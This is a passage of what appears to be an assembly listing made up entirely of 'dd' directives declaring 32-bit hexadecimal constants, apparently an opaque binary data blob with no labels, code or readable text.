0BE54B76h dd 50EED2ECh, 0BCF03485h, 71055FB5h, 0F16FDE90h, 8FF04008h dd 9707F62Bh, 92D42F88h, 661106C7h, 218113B7h, 5964CE0Fh dd 0B4202F08h, 0D61D6328h, 26E08C90h, 80109E4Eh, 0BF10D438h dd 6F06253Eh, 0E8F5F959h, 6A3FFB04h, 60A8D552h, 92E3D409h dd 3DC1C08h, 0BD3F1D5Ch, 60C34801h, 69C70763h, 4F910D0h dd 3EF888B6h, 76E0A674h, 4449C4A9h, 0D48C2780h, 3AF8E629h dd 0C212876Fh, 0F970BF28h, 510A5269h, 0C8D3DCD5h, 0A012B44Ah dd 0F010B5D8h, 11BB0943h, 0E1B1C5h, 0C70FE079h, 0D1539902h dd 40485C1Ch, 0A14E6478h, 608528F0h, 0F3A8BDC0h, 287630DCh dd 0C84D28FBh, 9A0A63E9h, 0DCA95888h, 6BEE1589h, 92480B60h dd 0D446D147h, 0D6054E09h, 0C74405BCh, 64A6F434h, 64F04F4Fh dd 3087271Fh, 0B67FC30Bh, 0C275D2FAh, 516C705Dh, 0FF1F01Ah dd 0EBBF1828h, 0C013B448h, 6B88C064h, 3F2E19ABh, 9D00FCB7h dd 0F747E8D6h, 0EAE40Eh, 0E794959Fh, 0C11E0F7Eh, 31CA9D08h dd 159FDBh, 33E03F8Dh, 3D1FC5A7h, 7AC07905h, 0D0E1F7C9h dd 3EA51CD9h, 0E4ADD321h, 0FF09EF94h, 0F2048A1Fh, 0D2F40674h dd 6025BF07h, 22C70110h, 0B9A37301h, 0C820DCEBh, 83012664h dd 7581ED34h, 8BCDA77Bh, 944403Eh, 79F6DE63h, 84200753h dd 7D608437h, 99409DB3h, 3F721B08h, 66E09026h, 0B003CDA4h dd 684D2231h, 38AEFB41h, 0EEAA5718h, 0AB730D80h, 8840FA51h dd 802733D0h, 476857D3h, 0A4A00663h, 0F8046526h, 29D1F524h dd 5B8088E8h, 7C48E98Dh, 0A5C40F05h, 1C6240EDh, 0C87909FEh dd 97675A00h, 0EA93ACh, 2CA2F349h, 6B2277C6h, 9C802563h dd 92610023h, 99E221C9h, 0A3637CD7h, 3AC72EA1h, 4EC07310h dd 0B8DA5A0Ah, 4901C0BBh, 808D9F81h, 82F0FC57h, 12EF7466h dd 4003BE1Ah, 0B5A52924h, 5D03D7E8h, 0AD8822C9h, 3FA3C8h dd 0B5BD4F21h, 93F91DD8h, 789180E7h, 0D1CEAA3Eh, 0A4621D76h dd 0EBEEC12Ch, 5F98C593h, 559BC4A4h, 0A2C9116Ah, 6DD9D87h dd 1D28F8E0h, 501B88FDh dd 12496777h, 2B9C1810h, 98392168h, 0AB77A9E8h, 0E20A8101h dd 2D3AEE20h, 1C4C89CDh, 0A8E803Fh, 6460229Fh, 0FD5C4E60h dd 0C17C8h, 338FC035h, 298BB9E4h, 0C5DD4E03h, 0A2A6FE1Ah dd 71DC804Fh, 0D430A36Ah, 91119860h, 0F06218EFh, 88D82CC8h dd 792435F8h, 0A21574B8h, 0AC5D8494h, 0CD941761h, 4F4D00D2h dd 50150367h, 0EA95D9A8h, 0A36F390Ah, 1E1ED4DFh, 0C8374409h dd 0EBD42Ch, 0FA73A4C9h, 0E26BF334h, 21EC08CCh, 7C9F42Fh dd 63804DEDh, 0AD5BD1E1h, 0F21022FFh, 0F7618E6h, 78644082h dd 0D01183FAh, 8490ABE8h, 200831A2h, 8CA29B78h, 0BC093C04h dd 4890259Ch, 2284E06h, 936E9F21h, 0CCD6A7E8h, 0E1212C18h dd 74280745h, 0E80F64Bh, 43BE5283h, 0CEBC3080h, 0EF6AE909h dd 0A7B83024h, 0D7EE08B5h, 564C8ADh, 0B5BF4940h, 1C14D00Fh dd 50907C8Fh, 8124EC14h, 980244E9h, 81083767h, 8C956094h dd 0F8D040D7h, 0A4554DB3h, 2178B10Fh, 39D68060h, 10B7E770h dd 0DC369324h, 475C47C1h, 0F35DB0E1h, 0E60F5504h, 20C4B334h dd 955BAB7Bh, 60CD6002h, 4EF6F56h, 0FA4978C7h, 30C31524h dd 704A8CECh, 0FF010F0h, 82404F68h, 60EB3E2Eh, 60A36C54h dd 9289D132h, 35F2AAE4h, 4630DA60h, 60EF4756h, 0F3E603Ah dd 0B612E8B9h, 445FD131h, 23AF4204h, 99CD01C0h, 1849EEA9h dd 80D73CA5h, 0F318F4B1h, 8F31E830h, 4D650127h, 15021456h dd 0B00C6E6Eh, 0B221EBh, 7852651Fh, 43FD89DDh, 585C9F01h dd 5B8D6F5Ah, 57BF888Bh, 0BA0BB810h, 7E004D7Dh, 157C7BA1h dd 28803E8Fh, 1C881B0Ch, 2C376FF0h, 992846B8h, 953D8C5h dd 90A8D828h, 27346A8h, 7043C9ECh, 10D831F2h, 4C9F436h dd 0F89D19C8h, 2D7F8143h, 0F0F85089h, 0AE03B604h, 0E9937049h dd 0DA180AF1h, 0C1940B80h, 3ED9904Fh, 0B1C3FC00h, 364ECEh dd 3AE08453h, 0A7099A78h, 8C39E92Ch, 159BFD08h, 94948C68h dd 4201B823h, 4E9F2D28h, 0E5882A18h, 0E287A79h, 10DCA642h dd 783267Fh, 55C1D1C0h, 254C8276h, 8B5A030h, 0C8A5D7EDh dd 4A400D64h, 0FDF6B5B8h, 0E8B75800h, 7A1F8030h, 336C12D1h dd 73340105h, 0ADEE2193h, 11C0C6C0h, 2D7D930h, 0F33FF609h dd 0F03C4B32h, 0C6FAEEBh, 0DADB0A2Bh, 6CB08130h, 30D2F440h dd 0F519D77Ch, 7EF998Bh, 0D4D6CE1h, 0A7F17889h, 8803ACFAh dd 55BF4F3Eh, 0DE59E2B5h, 0F4309610h, 0E104B39Ch, 57256A1Ch dd 6C062480h, 0FD8D00E6h, 50E09D0Ah, 5360776Fh, 8C4A7A0h dd 991B1F01h, 5C030C2Eh, 8800E018h, 53EC9C3h, 0B88CA2EDh dd 0E61C0EFh, 914C952Fh, 0A6723400h, 80CBDACCh, 733F18C6h dd 8417407Dh, 46846C59h, 26273EF4h, 0C489A858h, 686C02A4h dd 55D407E3h, 2238AD30h, 1A17E39h, 86833FD8h, 0C4E65350h dd 0E0217CEh, 0D18B22BEh, 0E15CA72Fh, 441CC08Fh, 117ED6A5h dd 17EFDDD9h, 0C256FD4h, 18686070h, 7A4801A1h, 0BB7CD1EDh dd 0BC842D9h, 4D0D586Ch, 0B808E540h, 30BF5842h, 2C112841h dd 2E88569Fh, 2878E680h, 31AA8CDAh, 88F84A63h, 0EA3601D0h dd 5AD69980h, 564A1FE4h, 0F08CC85Eh, 0D8F0008Fh, 0D9B12C4Bh dd 832C763Fh, 7A85F8BEh, 0ECE8EF41h, 0DD5D7EC2h, 7D3D2046h dd 4A98AF5Bh, 6DEC40F4h, 30D08199h, 68C0D8A4h, 8211B4Eh dd 22C9BF9h, 78261F5Ch, 0A0C99033h, 229A4673h, 0F72B07DAh dd 77B717C9h, 305097B1h, 0D3775213h, 9F83E4Dh, 91D994A5h dd 2118F1B4h, 56476508h, 40E6C404h, 716519ACh, 0BF1C0C72h dd 21D0EF92h, 0B49CFD48h, 9C5D0C85h, 98A4C6CAh, 20E7400Fh dd 536F579Ah, 44CC9A5Dh, 50010E3Ah, 2D83F0D4h, 2FC0091Fh dd 89C10561h, 74B68A98h, 885C8ECCh, 53E2C32Ch, 0ACD66980h dd 0B4515500h, 32788F7h, 0DEB004ECh, 80967E8Eh, 0CAA26C4Ch dd 3017189Bh, 2E864B4h, 5DC31127h, 7C900F5Ah, 840D893h dd 12000AEh, 99CF95C0h, 6805FE3Fh, 0EAC53A1Eh, 0F82881Ch dd 6415776Ah, 0FF0D2070h, 10D06858h, 0E86207D7h, 4C189D42h dd 9F270828h, 31648CBEh, 287BE341h, 69BC43Bh, 0CACCAE58h dd 0F611F84Ah, 42652C81h, 0FD31D256h, 6524AF10h, 228BAB13h dd 80E3F009h, 80B1E164h, 5D607F8h, 53136068h, 81162B69h dd 4CF430C6h, 0BF0B1CA1h, 7C00B853h, 0D1BCFFDFh, 1B0234FCh dd 72D4424Ah, 98C72426h, 0A32673A4h, 6980F8CDh, 8B5E41D4h dd 215F131Ch, 91102971h, 296F7D8h, 3456412Eh, 10836C91h dd 7C651BAEh, 0DC91045Eh, 0C4B936D8h, 0DFD082D8h, 2020FCC6h dd 0B4F04ECh, 80BF179Dh, 0A313EFFCh, 506FEE09h, 0B2D830C2h dd 0B03F0A1Ch, 8DC735Ah, 40609CBEh, 469F2328h, 2C229Eh dd 42287FE7h, 0F8A6CF2Dh, 0F2B7848h, 0CB335468h, 74E07A93h dd 265DF6ADh, 0C2FCCFABh, 0B8648ED9h, 0DF775617h, 81945451h dd 3174750h, 6801FC72h, 0D357C5A3h, 0C4F09201h, 143A20C5h dd 8A018323h, 724F6750h, 0B3819072h, 2409A3D3h, 61B0B170h dd 4FA2541Ch, 0C46C6445h, 50BF6444h, 0CEF03940h, 680F4113h dd 0E1D2A538h, 8EDC74C5h, 0C4A0377Fh, 3C08163Ah, 0B5A6C31Bh dd 1895D7D1h, 0BE48883Fh, 23FAB502h, 48DA931Ah, 3E165FDCh dd 48EB3CBh, 7542CA46h, 908E4066h, 5047C769h, 3A60E164h dd 0EC004B39h, 0A606259Eh, 91AA87E5h, 0C81749D0h, 9DE111h dd 0D8C568FBh, 0D92CC98Ah, 9F03DAADh, 0DA5CDDh, 0DC49B7B0h dd 4D7D289Eh, 976B2096h, 80E7915Ch, 0FA407BF0h, 6DD804A1h dd 0B078CDECh, 3CB9D3C8h, 121C0549h, 223D001h, 0F022285Fh dd 18F9C910h, 7ED1D530h, 9B6800B3h, 1128CD21h, 3C3E8096h dd 0A65102FCh, 0FE8EA3ADh, 0E9C542D0h, 8B725800h, 48608215h dd 1F84EA29h, 1F344CE4h, 47F113D5h, 0CC3679E4h, 7E00E2D1h dd 812F6A58h, 45BA39h, 0C61B71BCh, 1E2DF005h, 0C0FC274Ch dd 7CE0193Ah, 5C4F4A8h, 8BD5EF6Ah, 0CC0F80Dh, 59E93673h dd 769401DBh, 62A51411h, 6FB440A4h, 0C302A16Eh, 0DF5FC402h dd 27607829h, 708E50ADh, 8237782h, 80264064h, 0F04470D3h dd 40652260h, 0D4FC562Ch, 1AAD70h, 0E7FD8465h, 0F3FA468Fh dd 0D50D5B10h, 81C46B1Ch, 9F3A9BBFh, 0C3BC30E1h, 0C9107F42h dd 7CEE09D7h, 0C5141AABh, 60DFC444h, 1A7F5C7h, 0CC13937h dd 30A8519Eh, 28CBD8Ch, 9F222847h, 2D199366h, 288D0014h dd 1C3344CCh, 0ACD00300h, 0C9A70B41h, 3E0C5BDFh, 692E5164h dd 429BEC64h, 89F1E021h, 0A85213F9h, 0B66820BEh, 1600978Ch dd 9EC35F82h, 23C09E6h, 7FA55D47h, 70E5CEE9h, 4656742Eh dd 9E64022Dh, 0E09A3F88h, 1B7FB6h, 0B13B8FC0h, 0ABB7418Ah dd 7A12511Dh, 61F26E82h, 8AC85130h, 9CE0F036h, 2BB480E4h dd 0EA31DA25h, 79413A00h, 6993BB1Dh, 4AF8B98Fh, 0DB6109BCh dd 0DA9C7449h, 13CDA868h, 0CB47931Ch, 48EC81C0h, 6401C6Ah dd 3754D1FDh, 21064006h, 4B5A77F6h, 10F09011h, 12DEC54Dh dd 5042FF7Ch, 498526A9h, 0CC2231FCh, 55253C0Fh, 908DBA00h dd 4712567Ch, 0A40E775Fh, 80A7C0EFh, 7FA4A55Bh, 0E3A89282h dd 65082E18h, 401C5644h, 0BCC18A69h, 0ED864503h, 80C282EAh dd 0E2FA3Fh, 849DB91Ah, 0DAF04601h, 47A4BD03h, 7B73353h dd 0BFB9AF30h, 24404C80h, 0AE4A161Fh, 0CE6C4680h, 3BB6BDh dd 0A28942C8h, 731ACF47h, 0B12E4903h, 0A08A2D3Dh, 8874C8B9h dd 717858CFh, 30879633h dd 3B191F85h, 7042DB9Ah, 94B5C5C0h, 0E2C2E906h, 0C4A0BA6Ah dd 202AC888h, 74B21B4Ah, 6BA60725h, 0E03F4B07h, 3EBCB169h dd 0F1FE0930h, 18542BB8h, 50AEB779h, 22848F0Ah, 4D0D62C9h dd 0B85F172Ch, 5042D0F4h, 1BCB84A9h, 18568F32h, 0E274517Fh dd 0BD773918h, 109C11h, 2137EAC7h, 92FB36Ah, 21A708CCh dd 0C71800F3h, 6350E2D9h, 0FC0CB140h, 88B2FEFAh, 8A390011h dd 0C6F3025h, 7D289FD5h, 2820C049h, 0C4CE0748h, 716FE891h dd 0B390C30Ah, 0A0F591C1h, 0C1AE6E18h, 82EBCF11h, 41DCE942h dd 9BF430FCh, 0B821AB08h, 1C2082E3h, 80A095CFh, 0D84EC0E7h dd 0B1C1B175h, 0C5B2C8A4h, 310EB3CCh, 3219AC78h, 0C58D875h dd 43E72E00h, 0EDB506A8h, 5CB90163h, 6E14E939h, 2C698799h dd 9C108AFBh, 1CFC692h, 0CE856DC0h, 0E0277E70h, 0B05E973h dd 0ABF14B06h, 0A4C7DC32h, 0E960166Ch, 18233C82h, 9A711CCh dd 82E1F2h, 70AE371Dh, 0B9BB6078h, 0F8937276h, 5A109600h dd 58F00C8Ch, 3EC21437h, 0A480A40Bh, 9C6AC86Eh, 0B04BFCA0h dd 698C3B12h, 45D1C00h, 9A250E5h, 43EB1B08h, 0F8490801h dd 3050C7BAh, 0C00A868Ch, 0D095450Ah, 0C2716021h, 0BA3DC19h dd 7D9CC004h, 0BC005457h, 32858FC4h, 97871E00h, 0C6D9AC4Ch dd 12A33ED2h, 25CB3B00h, 0EFA07248h, 50AFB230h, 60DCE20Fh dd 18AAE177h, 97F4213Fh, 0D2E64F03h, 0C7228032h, 3C26C00Fh dd 6E243316h, 0D181F067h, 8E58972Ah, 0F5F837E8h, 0D8C8768Ch dd 82E7C014h, 0FC46183Eh, 0F014C422h, 3DFA82DFh, 266E3ED2h dd 1305204Dh, 242017BDh, 233D82E6h, 0A511C418h, 82DEF100h dd 88071B14h, 4FB4D214h, 0A3B710B8h, 0FC184448h, 2815C065h dd 0DDECAF13h, 0E7665C20h, 0CD0D017Dh, 54990F1h, 7E0898F2h dd 0FF4621h, 0C3C65F7Dh, 986EA0A4h, 0B40179C0h, 285CB00Bh dd 1F92C5CFh, 669EC83Ch, 1C360F60h, 0D3978140h, 0D279FAAEh dd 0FF909B64h, 3996DC81h, 0A21A18D7h, 773018BBh, 87329903h dd 0B0CBC2EBh, 509AC837h, 1457B0A7h, 0BC68D31Ch, 0EE3A3448h dd 0F512B0A0h, 8C495BBDh, 294925Dh, 41B57CE4h, 6888ECA0h dd 1803B466h, 1D9E9133h, 300A8798h, 0C6E4F281h, 71603D1Fh dd 0B182DA4Dh, 58EAC88Ah, 30D021A0h, 9B476920h, 6C8A8409h dd 0E83C90DCh, 0C8990FC4h, 44634679h, 790B4EF9h, 22766CCCh dd 0A00BC21Ch, 751DDF0h, 8A111495h, 0D0614C03h, 17426504h dd 0EBE6005Bh, 0ED2F3FCh, 0D34BC4B0h, 821F09Ch, 0F7E86E39h dd 0A802B37Dh, 3A9A2FAEh, 1442147h, 8806FBBBh, 6BAC2316h dd 33FA71D0h, 8A189A5Eh, 77F4E7h, 5B710525h, 0E0090102h dd 7826B245h, 23F43382h, 0C70E013Bh, 0E3137E8h, 0C716F100h dd 0CEEE5191h, 68A44126h, 1118AD11h, 68624446h, 0CED8AC50h dd 888FFA15h, 0DAFC0B48h, 2F78208Ah, 4829E87Eh, 562210AFh dd 46646CA0h, 4D11F1C0h, 71780898h, 0C10CFE48h, 0AAECCE20h dd 0A2C09459h, 10F44CE4h, 20508E26h, 0EAF91474h, 6A9DFCA5h dd 0D29480C8h, 45FF8090h, 0AF36D818h, 2642A378h, 9D084D67h dd 0D9910F0h, 0E8498607h, 0DC32AFE9h, 0F4031523h, 0A4183F82h dd 0EF20C362h, 2F682ECh, 5303762Dh, 5723C632h, 2E90248h dd 834F6CD6h, 0F53D7840h, 1A62F80h, 0ACC534Ah, 23DC7DA3h dd 40720050h, 260D1622h, 0CD250687h, 0C09B6732h, 60D60903h dd 0EE2498BEh, 28EC07B0h, 4B29C771h, 0AB91F01Dh, 0A4235F80h dd 783AB983h, 47E8141Ch, 0B6CA14E8h, 10C490BCh, 149EB386h dd 9C04D08Dh, 209E0AD1h, 5562CEADh, 0B060B847h, 358640A7h dd 500A1127h, 0F9ED48C8h, 235E652Eh, 0F04502D0h, 2039B286h dd 1FCD1BFh, 3BF414C1h, 0A49E6FF8h, 46749858h, 0B0640078h dd 6E2AE3B5h, 13F09839h, 1DD368B6h, 9B29CCCCh, 89313D1h dd 3982F201h, 5C0EE418h, 14D90250h, 6451DC3Bh, 30CC7848h dd 4410531Ch, 9F52D6D1h, 8AC1898h, 60A2D8E8h, 8C06F8B7h dd 0A26FCF8h, 188B606Ah, 44E8122Bh, 714099A4h, 39318A6h dd 0D1EBD473h, 4C907CE8h, 0F0DF784Ah, 0D65D69B0h, 1C08B815h dd 48A5B5Fh, 833C7E46h, 80C694B4h, 76A0E8B0h, 0FF482AA5h dd 1362338h, 37E5C70Dh, 80343309h, 1DC715FCh, 90643F69h dd 0D944F902h, 88909A96h, 0AF7102FCh, 0DB3E08A0h, 44E27B14h dd 1E323F4h, 0CD107DECh, 8B7418F9h, 0B57E04C8h, 78A4562Eh dd 1F86C309h, 80741118h, 0C59B189Ah, 0BE2A26C0h, 73C7422Ch dd 2425EC00h, 8B5E1D30h, 0C2700138h, 0ECEFBF2Ch, 9EFA113Dh dd 57CC9509h, 3E442196h, 0B032B30Ah, 0E0933007h, 0CE857037h dd 7C60BF4Ah, 0EF03D58h, 8670C0B0h, 0E2C2B824h, 0A4B897B8h dd 364CC00Ch, 4ADF38FEh, 584137Bh, 181D4A0h, 0E802C0D8h dd 6D846413h, 2E3E0A03h, 17B880Bh, 0C21A4520h, 4EDE12ECh dd 1ADB1120h, 9C791680h, 965992D9h, 4C702458h, 88600216h dd 10E96E43h, 0C8D323FCh, 3B06804Ah, 623EAC6Eh, 98413F00h dd 0B942E336h, 0A33212C4h, 4068C569h, 0EE24031Ch, 0A91E5146h dd 100D888Dh, 5C73A076h, 9C50F44Ch, 10A158DFh, 1A26D84h dd 4332D115h, 0EC12B42Ch, 0C5E0C05Dh, 7F4B429Ch, 80FD941Dh dd 0C871951Ah, 96A4BA2Ah, 82EE40F4h, 0C6574875h, 0A9F78440h dd 0B56DC820h, 3562A380h, 4686063h, 0BB66F8h, 7AC06F4Fh dd 98654CCFh, 28895F10h, 60C5B836h, 0C00746C6h, 4D923E11h dd 0E1664324h, 6892AA5Fh, 42456B0h, 57D3410h, 0E094A368h dd 32B3A480h, 33720988h, 44A85044h, 30DC9FC4h, 6BC1B8E1h dd 558EA204h, 61C0A18Ch, 13E2C528h, 929B52F0h, 6D23663Ch dd 78797D95h, 8CF70141h, 1E06B951h, 9E5420FFh, 771C4654h dd 6994808Ah, 5D76CD4Ah, 370490ECh, 0D798CED8h, 53FFA1FCh dd 22AC2D2Eh, 449A1892h, 5525B93Fh, 1CB34C2Ch, 0D6DC2F87h dd 0ED083D33h, 9854BC05h, 4C88D4CFh, 0F783D5C0h, 3DAB07AAh dd 0D43B1836h, 85C0D24Dh, 0A8799059h, 9A042218h, 6D6204FDh dd 77059CC0h, 0C4091ACDh, 4C4710A7h, 5E608144h, 43FA1E63h dd 85FCB300h, 3B164D6Ch, 404C5984h, 9DD6FA09h, 506AAC49h dd 1ED1628Ch, 4CB4BE4Dh, 0F8082EB4h, 9504ACC4h, 175814ABh dd 0E422BAC6h, 0E95490DEh, 0CD0F087Dh, 516F9121h, 7E014402h dd 81C03DA7h, 0D0A33884h, 8C406CD2h, 0FD0CFAF3h, 317BDCDEh dd 8FC6003Ah, 6CEA8056h, 310FE16Ah, 0E081C06Eh, 2BA4423Bh dd 3C972492h, 50940878h, 5AD97402h, 977484A6h, 63EBC90h dd 0A6CA0B2h, 8032642Fh, 1010540Ch, 38C064FDh, 3BFCF26Eh dd 0E428D34Ah, 6E300003h, 90E7F0C9h, 2202C425h, 0A6D037FFh dd 620CC8C1h, 9C9F505Eh, 72C73407h, 71C41450h, 811A060h dd 0A8C65FB8h, 13C16A28h, 22A812D1h, 3E20861Ch, 7EC58E3h dd 4A1EB1C5h, 0C077B4F8h, 23889D10h, 40326430h, 529AD2FCh dd 0DB228090h, 6E28FA7Ch, 0E7422C8Fh, 20A3D127h, 5EC87E30h dd 151EB85Dh, 96CA80CFh, 2A7649Ch, 92B26BE4h, 1C348364h dd 0A810775h, 0CB9B568Ch, 268050B7h, 581F72FFh, 91970F25h dd 340067DCh, 0CC331BEDh, 87DB5CA0h, 0BCC4EC00h, 4E5E8BB9h dd 30567D16h, 0B0817FDAh, 87681C2Bh, 0C5495898h, 60A6E400h dd 0ADBB15h, 0E81D390Ch, 32780617h, 8390F0C8h, 11E112FEh dd 600BB499h, 9CAA0434h, 0AB4490C7h, 6C7C2760h, 488BA38h dd 8EB722A7h, 8CEA0CF0h dd 0B7DE504h, 0BC8E01CDh, 80FD401Dh, 4A5FAC2Ch, 1816429Ah dd 5C51CC03h, 188A8998h, 22E2FA24h, 3149DEAh, 89F07E58h dd 118AB37h, 9CD2BC58h, 5CEF5860h, 5043AC78h, 90DA0078h dd 0AD410D8Fh, 79304BA2h, 5AED089Dh, 0B44704CEh, 82138FA8h dd 0A5C01B37h, 0FAF8C3C6h, 0D2C15A00h, 49B67BE6h, 84F841h dd 0FE5CA258h, 76AAFA5Dh, 0CE284460h, 7D19B267h, 7EBF0C06h dd 4C09C6C2h, 0AA0721C0h, 96A419h, 0C6E45336h, 0C3CB0951h dd 0AB899DE3h, 0DA463C80h, 10C062h, 0A1700E17h, 0F2B75CDDh dd 0F853BA20h, 63A020EEh, 7EFE5A01h, 0F89D682Fh, 46ADC083h dd 390CD2DEh, 61F4C0CBh, 70C11D98h, 80DB0017h, 1535B595h dd 60E19900h, 3256FCC0h, 0F89F3EADh, 0A666367Dh, 0A946E888h dd 719B302h, 5331B7FEh, 19AB0410h, 0B00111E8h, 0AA6657E6h dd 0A8914650h, 0C2A21E13h, 0F2493070h, 0D840602Ah, 0A0EBDE45h dd 0DA57B8C7h, 0AA9DBCFAh, 7A3680BAh, 7EC2372Fh, 485E60C7h dd 0D90E34C3h, 6A17A8CFh, 584CDCDAh, 0DC6B52CEh, 17615810h dd 0BF18DA5Bh, 295A9C18h, 3E90DFF1h, 0E8F9382h, 144C8541h dd 0B9F344h, 59948FABh, 722C24C0h, 0D823C931h, 9C40A8EAh dd 0A8495745h, 317D7684h, 4019A51Ah, 0CD5E177Fh, 0AC005057h dd 183BCAF9h, 21504544h, 71C3E4DFh, 98FC7F3Ah, 38505E1h dd 0F69B8F04h, 0A097D31Ah, 0EA6164D8h, 3246FC0Ch, 69568D7h dd 30B8F24Eh, 456C88B4h, 0EA295992h, 0DE650C6Ch, 0A1606E2Dh dd 427D0F12h, 56C42441h, 48BBBC0Ah, 0C8CACB8Dh, 0F0940289h dd 118F9430h, 88CD4111h, 0ACB880F1h, 0AAC2FA8Fh, 807A5C3Dh dd 11B61CD8h, 1D47C07Fh, 2004DEC7h, 8A24E01h, 0C51A44C2h dd 0F004E444h, 0BC006B40h, 6454B841h, 0D8306924h, 0AB4648A8h dd 0F919B102h, 583187FEh, 19A90610h, 88D9D100h, 0E2BC5770h dd 43C0A864h, 0A05E7D45h, 80684B3Ch, 1818CEA0h, 7A2959E2h dd 3E798FBh, 0FE6BDDC3h, 84405DBh, 9D00FAA4h, 8B9584F3h dd 92DF8635h, 6AE13048h, 0A5A99221h, 28ED3Fh, 0CE064FFh dd 110301Eh, 0C79648DAh, 21E72144h, 0A22C23C4h, 0D6B83059h dd 97DAAB0Eh, 0CD2385BEh, 0B13B041h, 0A120E18Dh, 109D02AFh dd 0A627291Eh, 0A9E2F894h, 50F5C788h, 42ED887Fh, 1172351h dd 0C3B38406h, 89571805h, 6E84E89Ah, 9E806D3Eh, 4BC02337h dd 6269BC08h, 0CFE4A7FAh, 0AA6280D1h, 48B4D7A2h, 4D045C47h dd 804A96CAh, 52F59878h, 7384B850h, 1084B94Ch, 0F402B78Dh dd 0CF22A947h, 0EAE8CA0h, 4903923Bh, 415EDE03h, 0B508320Bh dd 2AE00121h, 0FE0AD533h, 94C0AA46h, 0C257043Ah, 0C4C86402h dd 91424154h, 0D80A460h, 1B49AF3Bh, 0CC6448Ch, 603B150Eh dd 0EF802024h, 7BEB8B4Eh, 0D4362463h, 6EFC0320h, 7812C816h dd 0F40C81C1h, 18D91176h, 28F93E1Ch, 431E8D47h, 6D5AF24Fh dd 0B934C098h, 38AB6117h, 405C24EFh, 30DE41CCh, 0D29C4554h dd 0B7FFB118h, 60728C8h, 84F67B0Fh, 0CE05205Bh, 0FFAAEF3Bh dd 4686203Ch, 0E2C4CF8h, 0C02AFA60h, 9B0DBEC1h, 99870757h dd 222C79F3h, 4CC853F6h, 9D2435EBh, 78083CBBh, 87403159h dd 884CCA27h, 2A0C1758h, 0FE48E436h, 5E05104Ch, 8E8AA26h dd 7B01460Eh, 7E89CA1Dh, 9441CDC5h, 0F2C0F69Eh, 0B0330BF9h dd 702C2E4Eh, 0CC51EC60h, 0CDD261A0h, 942C5879h, 0B0D12090h dd 6BA3113Ch, 424AB840h, 98D62467h, 28D721C4h, 542828FAh dd 0EF490720h, 40BAB060h, 3F03C4C6h, 0C2F25769h, 7A50005Bh dd 6EB0E623h, 0B0C1B9CAh, 176A52C0h, 5CCE9454h, 10C0F588h dd 8031B5h, 0D0C9BA70h, 34C00789h, 38CB1E24h, 0BFEE5684h dd 4A59D901h, 2508D1C7h, 0E6A09158h, 0C0DE3F04h, 0C1048375h dd 3469212Ch, 0D78FEB40h, 9D6200B7h, 8DECD65Eh, 3E0A2D76h dd 8CA31AA9h, 6A47F15h, 0EC4E1CC1h, 8FDE3180h, 345DE2B1h dd 0A800E424h, 6B69455Fh, 32EE7CD9h, 47866B0h, 0DE916065h dd 64D6410Bh, 0BCFF828h, 30916516h, 0DAA910F4h, 0E18840F6h dd 0AA718D66h, 7E9220E8h, 2614B148h, 0AF64CC78h, 0FD19B560h dd 0F8B9FE75h, 19AD0AC0h, 31710029h, 1C3DCA5Dh, 0C217492Fh dd 4C4666F6h, 9091F7DEh, 2AD4620h, 49963B12h, 9506723h dd 20801A05h, 0C029FCD7h, 459C9604h, 10C8AD2Ah, 0C7E544F6h dd 39AEDF35h, 330A5C02h, 424501B4h, 0C6B1810Bh, 17B0DAE2h dd 0C38891h, 0BF045A2h, 138F262h, 0AD9457BBh, 4562623h dd 57C07C9Bh, 60024D6Eh, 0F7F0E00Eh, 1AC6808Eh, 49DEC508h dd 9A0C0001h, 2539B223h, 0B63A2EFCh, 0ED3F0078h, 0D50E1BC7h dd 380786Fh, 3307B3B4h, 89ECCAC3h, 790DD48Ch, 19432601h dd 7866D291h, 229ABC41h, 3009062h, 522FBB96h, 0D5022070h dd 68B139DDh, 0DAECE1A4h, 0A09406FAh, 0F6411C09h, 8948226h dd 0C13A2246h, 0EF8AB882h, 0FE538E20h, 2678C314h, 9062F89Bh dd 0CFEA50h, 5D113CC7h, 0B00988B8h, 2069024h, 20B21E68h dd 0A9AA58D2h, 28820A7h, 5486C954h, 0C11741AEh, 6C475A34h dd 63F3BFCh, 2410DE12h, 498D75Fh, 68E147h, 9887C1FAh, 296A005Ch dd 3DDE25Dh, 15024513h, 8F5E56AAh, 23804096h, 209CA8CAh dd 0C8C90058h, 0BCD4649Dh, 724827Dh, 9A00086Bh, 0FC934E33h dd 25D098BBh, 0B8247E9Eh, 8F9260FEh, 9D41250Fh, 0BA01CC96h dd 5F6D8FAAh, 7980D622h, 68CAF827h, 0DA01CD4Ch, 0C087451Ah dd 2189B3DFh, 68204269h, 60E3D810h, 0F10D5F0Eh, 5205C0A3h dd 26A476DDh, 99872C1h, 94686BDEh, 0BF0A3DF8h, 0F64319CEh dd 35F05514h, 809BF8FBh, 0D8E17FC0h, 17FE8756h, 0B9E65B03h dd 894F27EEh, 0A99E4069h, 0D4E58033h, 8EE131EBh, 2007E8E2h dd 0AAA8D845h, 5B7D4091h, 3D635985h, 261C928Ah, 0FCE0A881h dd 27B88324h, 0F414D643h, 467CE108h, 25370A6Dh, 0C303E497h dd 15F22A44h, 0CCEFDF70h, 8D50900h, 61427E65h, 0D6B3BF00h dd 75CD9A63h, 88DA0172h, 0E2B73BC9h, 76598F45h, 0A0AF00EDh dd 0F2AE1975h, 6E4D01F5h, 0ADD5BDA4h, 69066BBh, 7C58F643h dd 0DEFE18C8h, 833579F9h, 0DDD1AB00h, 0FB46F7FAh, 56842EC7h dd 2F4BBCC0h, 0F32354h, 6B816F67h, 0AE053F71h, 2757407Eh dd 0C5F32808h, 41A48195h, 0E82848B5h, 1ADBF88h, 5EB3E78Fh dd 38D6C257h, 0DBC71334h, 0C6CB3821h, 20E86846h, 0B0EA9EBCh dd 0F4A0C898h, 924C9676h, 0E8DEE1E4h, 0AAB40915h, 3B0FBCB0h dd 0B499111h, 0E80BA88h, 51763B17h, 9A731D95h, 0F8B24357h dd 78A2C256h, 164590C4h, 80AB6091h, 49903B0Ch, 0B3448C13h dd 3B14020Fh, 933DDB1Ah, 2805DC58h, 0E2CAA992h, 6CE17891h dd 6F230824h, 0C7C139C5h, 70FF3402h, 43887A0Ch, 81C67435h dd 50BB3017h, 0FE133C94h, 4FC848CBh, 4DE23BC0h, 0B0DC09EEh dd 98E4234Eh, 2210943Eh, 0D1689987h, 0EA6E18B0h, 0CC4C015Fh dd 0DFFD4683h, 0CADC2181h, 94134520h, 118A60E2h, 429757BCh dd 795FDE30h, 76C4B24h, 10BAA969h, 1B199C0Eh, 6BC72A01h dd 0E26EB098h, 40800065h, 0CB197EBDh, 2892FECAh, 